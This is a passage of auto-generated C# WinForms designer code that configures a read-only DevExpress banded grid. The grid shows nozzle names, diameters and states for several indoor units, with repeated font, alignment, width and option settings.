this.asNozzleGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.Preview.Options.UseFont = true;
this.asNozzleGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.Row.Options.UseFont = true;
this.asNozzleGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.SelectedRow.Options.UseFont = true;
this.asNozzleGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.ViewCaption.Options.UseFont = true;
this.asNozzleGridView.Bands.AddRange(new DevExpress.XtraGrid.Views.BandedGrid.GridBand[] {
this.asNozzleGenaralBand,
this.asNozzleID11Band,
this.asNozzleID12Band,
this.asNozzleID21Band,
this.asNozzleID22Band});
this.asNozzleGridView.Columns.AddRange(new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn[] {
this.asNozzleNameColumn,
this.asNozzleID11DiameterColumn,
this.asNozzleID11CheckColumn,
this.asNozzleID12DiameterColumn,
this.asNozzleID12CheckColumn,
this.asNozzleID21DiameterColumn,
this.asNozzleID21CheckColumn,
this.asNozzleID22DiameterColumn,
this.asNozzleID22CheckColumn});
this.asNozzleGridView.GridControl = this.asNozzleGrid;
this.asNozzleGridView.Name = "asNozzleGridView";
this.asNozzleGridView.OptionsBehavior.AlignGroupSummaryInGroupRow = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleGridView.OptionsBehavior.AllowAddRows = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleGridView.OptionsBehavior.AllowDeleteRows = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleGridView.OptionsBehavior.AllowFixedGroups = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleGridView.OptionsBehavior.AllowGroupExpandAnimation = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleGridView.OptionsBehavior.AllowPartialGroups = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleGridView.OptionsBehavior.AllowPartialRedrawOnScrolling = false;
this.asNozzleGridView.OptionsBehavior.AllowValidationErrors = false;
this.asNozzleGridView.OptionsBehavior.AutoPopulateColumns = false;
this.asNozzleGridView.OptionsBehavior.AutoUpdateTotalSummary = false;
this.asNozzleGridView.OptionsBehavior.Editable = false;
this.asNozzleGridView.OptionsBehavior.ReadOnly = true;
this.asNozzleGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.asNozzleGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.asNozzleGridView.OptionsClipboard.CopyColumnHeaders = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleGridView.OptionsCustomization.AllowBandMoving = false;
this.asNozzleGridView.OptionsCustomization.AllowBandResizing = false;
this.asNozzleGridView.OptionsCustomization.AllowColumnMoving = false;
this.asNozzleGridView.OptionsCustomization.AllowColumnResizing = false;
this.asNozzleGridView.OptionsCustomization.AllowFilter = false;
this.asNozzleGridView.OptionsCustomization.AllowGroup = false;
this.asNozzleGridView.OptionsCustomization.AllowQuickHideColumns = false;
this.asNozzleGridView.OptionsCustomization.AllowSort = false;
this.asNozzleGridView.OptionsSelection.UseIndicatorForSelection = false;
this.asNozzleGridView.OptionsView.ShowGroupPanel = false;
this.asNozzleGridView.OptionsView.ShowIndicator = false;
this.asNozzleGridView.Tag = 0;
//
// asNozzleGenaralBand
//
this.asNozzleGenaralBand.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleGenaralBand.AppearanceHeader.Options.UseFont = true;
this.asNozzleGenaralBand.Caption = "General";
this.asNozzleGenaralBand.Columns.Add(this.asNozzleNameColumn);
this.asNozzleGenaralBand.MinWidth = 19;
this.asNozzleGenaralBand.Name = "asNozzleGenaralBand";
this.asNozzleGenaralBand.VisibleIndex = 0;
this.asNozzleGenaralBand.Width = 128;
//
// asNozzleNameColumn
//
this.asNozzleNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleNameColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleNameColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.asNozzleNameColumn.Caption = "Name";
this.asNozzleNameColumn.FieldName = "Name";
this.asNozzleNameColumn.MinWidth = 36;
this.asNozzleNameColumn.Name = "asNozzleNameColumn";
this.asNozzleNameColumn.OptionsColumn.AllowEdit = false;
this.asNozzleNameColumn.OptionsColumn.AllowFocus = false;
this.asNozzleNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsColumn.AllowMove = false;
this.asNozzleNameColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleNameColumn.OptionsColumn.AllowSize = false;
this.asNozzleNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsColumn.FixedWidth = true;
this.asNozzleNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsColumn.ReadOnly = true;
this.asNozzleNameColumn.OptionsColumn.TabStop = false;
this.asNozzleNameColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleNameColumn.OptionsFilter.AllowFilter = false;
this.asNozzleNameColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleNameColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleNameColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.asNozzleNameColumn.Visible = true;
this.asNozzleNameColumn.Width = 128;
//
// asNozzleID11Band
//
this.asNozzleID11Band.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID11Band.AppearanceHeader.Options.UseFont = true;
this.asNozzleID11Band.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID11Band.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID11Band.Caption = "Indoor No.1 #1";
this.asNozzleID11Band.Columns.Add(this.asNozzleID11DiameterColumn);
this.asNozzleID11Band.Columns.Add(this.asNozzleID11CheckColumn);
this.asNozzleID11Band.MinWidth = 16;
this.asNozzleID11Band.Name = "asNozzleID11Band";
this.asNozzleID11Band.VisibleIndex = 1;
this.asNozzleID11Band.Width = 136;
//
// asNozzleID11DiameterColumn
//
this.asNozzleID11DiameterColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID11DiameterColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleID11DiameterColumn.AppearanceCell.Options.UseTextOptions = true;
this.asNozzleID11DiameterColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.asNozzleID11DiameterColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID11DiameterColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleID11DiameterColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID11DiameterColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID11DiameterColumn.Caption = "Diameter";
this.asNozzleID11DiameterColumn.FieldName = "ID11Diameter";
this.asNozzleID11DiameterColumn.MinWidth = 36;
this.asNozzleID11DiameterColumn.Name = "asNozzleID11DiameterColumn";
this.asNozzleID11DiameterColumn.OptionsColumn.AllowEdit = false;
this.asNozzleID11DiameterColumn.OptionsColumn.AllowFocus = false;
this.asNozzleID11DiameterColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleID11DiameterColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsColumn.AllowMove = false;
this.asNozzleID11DiameterColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleID11DiameterColumn.OptionsColumn.AllowSize = false;
this.asNozzleID11DiameterColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsColumn.FixedWidth = true;
this.asNozzleID11DiameterColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsColumn.ReadOnly = true;
this.asNozzleID11DiameterColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleID11DiameterColumn.OptionsFilter.AllowFilter = false;
this.asNozzleID11DiameterColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleID11DiameterColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11DiameterColumn.Visible = true;
this.asNozzleID11DiameterColumn.Width = 68;
//
// asNozzleID11CheckColumn
//
this.asNozzleID11CheckColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID11CheckColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleID11CheckColumn.AppearanceCell.Options.UseTextOptions = true;
this.asNozzleID11CheckColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID11CheckColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID11CheckColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleID11CheckColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID11CheckColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID11CheckColumn.Caption = "State";
this.asNozzleID11CheckColumn.ColumnEdit = this.asNozzleCheckEdit;
this.asNozzleID11CheckColumn.FieldName = "ID11State";
this.asNozzleID11CheckColumn.MinWidth = 27;
this.asNozzleID11CheckColumn.Name = "asNozzleID11CheckColumn";
this.asNozzleID11CheckColumn.OptionsColumn.AllowEdit = false;
this.asNozzleID11CheckColumn.OptionsColumn.AllowFocus = false;
this.asNozzleID11CheckColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleID11CheckColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsColumn.AllowMove = false;
this.asNozzleID11CheckColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleID11CheckColumn.OptionsColumn.AllowSize = false;
this.asNozzleID11CheckColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsColumn.FixedWidth = true;
this.asNozzleID11CheckColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsColumn.ReadOnly = true;
this.asNozzleID11CheckColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleID11CheckColumn.OptionsFilter.AllowFilter = false;
this.asNozzleID11CheckColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleID11CheckColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID11CheckColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.asNozzleID11CheckColumn.Visible = true;
this.asNozzleID11CheckColumn.Width = 68;
//
// asNozzleCheckEdit
//
this.asNozzleCheckEdit.AllowGrayed = true;
this.asNozzleCheckEdit.AutoHeight = false;
this.asNozzleCheckEdit.CheckStyle = DevExpress.XtraEditors.Controls.CheckStyles.Radio;
this.asNozzleCheckEdit.Name = "asNozzleCheckEdit";
this.asNozzleCheckEdit.NullStyle = DevExpress.XtraEditors.Controls.StyleIndeterminate.Inactive;
this.asNozzleCheckEdit.ReadOnly = true;
this.asNozzleCheckEdit.ValueChecked = 1;
this.asNozzleCheckEdit.ValueGrayed = -1;
this.asNozzleCheckEdit.ValueUnchecked = 0;
//
// asNozzleID12Band
//
this.asNozzleID12Band.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID12Band.AppearanceHeader.Options.UseFont = true;
this.asNozzleID12Band.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID12Band.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID12Band.Caption = "Indoor No.1 #2";
this.asNozzleID12Band.Columns.Add(this.asNozzleID12DiameterColumn);
this.asNozzleID12Band.Columns.Add(this.asNozzleID12CheckColumn);
this.asNozzleID12Band.MinWidth = 16;
this.asNozzleID12Band.Name = "asNozzleID12Band";
this.asNozzleID12Band.VisibleIndex = 2;
this.asNozzleID12Band.Width = 136;
//
// asNozzleID12DiameterColumn
//
this.asNozzleID12DiameterColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID12DiameterColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleID12DiameterColumn.AppearanceCell.Options.UseTextOptions = true;
this.asNozzleID12DiameterColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.asNozzleID12DiameterColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID12DiameterColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleID12DiameterColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID12DiameterColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID12DiameterColumn.Caption = "Diameter";
this.asNozzleID12DiameterColumn.FieldName = "ID12Diameter";
this.asNozzleID12DiameterColumn.MinWidth = 36;
this.asNozzleID12DiameterColumn.Name = "asNozzleID12DiameterColumn";
this.asNozzleID12DiameterColumn.OptionsColumn.AllowEdit = false;
this.asNozzleID12DiameterColumn.OptionsColumn.AllowFocus = false;
this.asNozzleID12DiameterColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleID12DiameterColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsColumn.AllowMove = false;
this.asNozzleID12DiameterColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleID12DiameterColumn.OptionsColumn.AllowSize = false;
this.asNozzleID12DiameterColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsColumn.FixedWidth = true;
this.asNozzleID12DiameterColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsColumn.ReadOnly = true;
this.asNozzleID12DiameterColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleID12DiameterColumn.OptionsFilter.AllowFilter = false;
this.asNozzleID12DiameterColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleID12DiameterColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12DiameterColumn.Visible = true;
this.asNozzleID12DiameterColumn.Width = 68;
//
// asNozzleID12CheckColumn
//
this.asNozzleID12CheckColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID12CheckColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleID12CheckColumn.AppearanceCell.Options.UseTextOptions = true;
this.asNozzleID12CheckColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID12CheckColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID12CheckColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleID12CheckColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID12CheckColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID12CheckColumn.Caption = "State";
this.asNozzleID12CheckColumn.ColumnEdit = this.asNozzleCheckEdit;
this.asNozzleID12CheckColumn.FieldName = "ID12State";
this.asNozzleID12CheckColumn.MinWidth = 27;
this.asNozzleID12CheckColumn.Name = "asNozzleID12CheckColumn";
this.asNozzleID12CheckColumn.OptionsColumn.AllowEdit = false;
this.asNozzleID12CheckColumn.OptionsColumn.AllowFocus = false;
this.asNozzleID12CheckColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleID12CheckColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsColumn.AllowMove = false;
this.asNozzleID12CheckColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleID12CheckColumn.OptionsColumn.AllowSize = false;
this.asNozzleID12CheckColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsColumn.FixedWidth = true;
this.asNozzleID12CheckColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsColumn.ReadOnly = true;
this.asNozzleID12CheckColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleID12CheckColumn.OptionsFilter.AllowFilter = false;
this.asNozzleID12CheckColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleID12CheckColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID12CheckColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.asNozzleID12CheckColumn.Visible = true;
this.asNozzleID12CheckColumn.Width = 68;
//
// asNozzleID21Band
//
this.asNozzleID21Band.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID21Band.AppearanceHeader.Options.UseFont = true;
this.asNozzleID21Band.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID21Band.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID21Band.Caption = "Indoor No.2 #1";
this.asNozzleID21Band.Columns.Add(this.asNozzleID21DiameterColumn);
this.asNozzleID21Band.Columns.Add(this.asNozzleID21CheckColumn);
this.asNozzleID21Band.MinWidth = 16;
this.asNozzleID21Band.Name = "asNozzleID21Band";
this.asNozzleID21Band.VisibleIndex = 3;
this.asNozzleID21Band.Width = 136;
//
// asNozzleID21DiameterColumn
//
this.asNozzleID21DiameterColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID21DiameterColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleID21DiameterColumn.AppearanceCell.Options.UseTextOptions = true;
this.asNozzleID21DiameterColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.asNozzleID21DiameterColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID21DiameterColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleID21DiameterColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID21DiameterColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID21DiameterColumn.Caption = "Diameter";
this.asNozzleID21DiameterColumn.FieldName = "ID21Diameter";
this.asNozzleID21DiameterColumn.MinWidth = 36;
this.asNozzleID21DiameterColumn.Name = "asNozzleID21DiameterColumn";
this.asNozzleID21DiameterColumn.OptionsColumn.AllowEdit = false;
this.asNozzleID21DiameterColumn.OptionsColumn.AllowFocus = false;
this.asNozzleID21DiameterColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleID21DiameterColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsColumn.AllowMove = false;
this.asNozzleID21DiameterColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleID21DiameterColumn.OptionsColumn.AllowSize = false;
this.asNozzleID21DiameterColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsColumn.FixedWidth = true;
this.asNozzleID21DiameterColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsColumn.ReadOnly = true;
this.asNozzleID21DiameterColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleID21DiameterColumn.OptionsFilter.AllowFilter = false;
this.asNozzleID21DiameterColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleID21DiameterColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21DiameterColumn.Visible = true;
this.asNozzleID21DiameterColumn.Width = 68;
//
// asNozzleID21CheckColumn
//
this.asNozzleID21CheckColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID21CheckColumn.AppearanceCell.Options.UseFont = true;
this.asNozzleID21CheckColumn.AppearanceCell.Options.UseTextOptions = true;
this.asNozzleID21CheckColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID21CheckColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleID21CheckColumn.AppearanceHeader.Options.UseFont = true;
this.asNozzleID21CheckColumn.AppearanceHeader.Options.UseTextOptions = true;
this.asNozzleID21CheckColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.asNozzleID21CheckColumn.Caption = "State";
this.asNozzleID21CheckColumn.ColumnEdit = this.asNozzleCheckEdit;
this.asNozzleID21CheckColumn.FieldName = "ID21State";
this.asNozzleID21CheckColumn.MinWidth = 27;
this.asNozzleID21CheckColumn.Name = "asNozzleID21CheckColumn";
this.asNozzleID21CheckColumn.OptionsColumn.AllowEdit = false;
this.asNozzleID21CheckColumn.OptionsColumn.AllowFocus = false;
this.asNozzleID21CheckColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsColumn.AllowIncrementalSearch = false;
this.asNozzleID21CheckColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsColumn.AllowMove = false;
this.asNozzleID21CheckColumn.OptionsColumn.AllowShowHide = false;
this.asNozzleID21CheckColumn.OptionsColumn.AllowSize = false;
this.asNozzleID21CheckColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsColumn.FixedWidth = true;
this.asNozzleID21CheckColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsColumn.ReadOnly = true;
this.asNozzleID21CheckColumn.OptionsFilter.AllowAutoFilter = false;
this.asNozzleID21CheckColumn.OptionsFilter.AllowFilter = false;
this.asNozzleID21CheckColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.asNozzleID21CheckColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.asNozzleID21CheckColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
